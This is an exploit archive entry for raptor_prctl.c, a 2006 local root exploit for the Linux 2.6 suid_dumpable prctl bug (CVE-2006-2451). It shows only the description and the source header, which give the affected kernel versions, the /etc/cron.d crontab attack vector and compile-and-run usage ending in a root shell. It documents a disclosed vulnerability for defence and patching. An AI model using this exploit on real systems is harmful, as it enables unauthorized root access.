Linux 2.6.x suid_dumpable Local Root

Linux 2.6.x suid_dumpable Local Root
Posted Jul 13, 2006
Authored by Marco Ivaldi

The suid_dumpable support in Linux kernel 2.6.13 up to versions before 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial of service (disk consumption) and POSSIBLY gain privileges via the PR_SET_DUMPABLE argument of the prctl function and a program that causes a core dump file to be created in a directory for which the user does not have permissions.

* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
* 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial
* of service (disk consumption) and POSSIBILY (yeah, sure;) gain privileges
* via the PR_SET_DUMPABLE argument of the prctl function and a program that
* causes a core dump file to be created in a directory for which the user does
* not have permissions (CVE-2006-2451).
*
* Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
* CAMPIONI DEL MONDO! (i was tempted to name this exploit "pajolo.c";))
*
* Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
*
* NOTE. This exploit uses the Vixie's crontab /etc/cron.d attack vector: this
* means that distributions that use a different configuration (namely Dillon's
* crontab on Slackware Linux) can be vulnerable but not directly exploitable.
*
* Usage:
* $ gcc raptor_prctl.c -o raptor_prctl -Wall
* [exploit must be dinamically linked]
* $ ./raptor_prctl
* [...]
* sh-3.00#
*
* Vulnerable platforms:
* Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
